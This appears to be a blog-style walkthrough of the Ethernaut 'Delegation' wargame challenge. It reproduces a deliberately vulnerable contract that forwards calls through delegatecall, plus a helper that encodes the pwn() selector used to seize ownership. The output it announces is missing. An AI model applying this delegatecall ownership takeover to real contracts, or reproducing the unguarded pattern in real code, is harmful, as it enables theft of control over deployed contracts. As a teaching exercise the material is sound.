Ethernaut Challenge-6 Delegation
Ok so in this challenge there are two smart contracts.
The first one is the Delegate which contains a function pwn that changes the value of the owner state variable.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
Secondly there is one more smart contract which contains the following code:
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
Now we are given an instance of this Delegation smart contract and the task is to get ownership of this contract. For that, we need to somehow make the owner state variable point to our address.
Now the only possible way is to use the fallback function.
Understand how delegatecall low-level function works from the previous article!
We first get the encoded hash version of the pwn() function call so that it can be passed as msg.data to the fallback function.
To perform this we can just create a simple smart contract.
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.0;
contract C{
function returnhex() public returns(bytes memory){
return abi.encodeWithSignature("pwn()");
}
}
We get the following result

Now we take this result and call the fallback function of the Delegation smart contract to ultimately claim the ownership of the smart contract.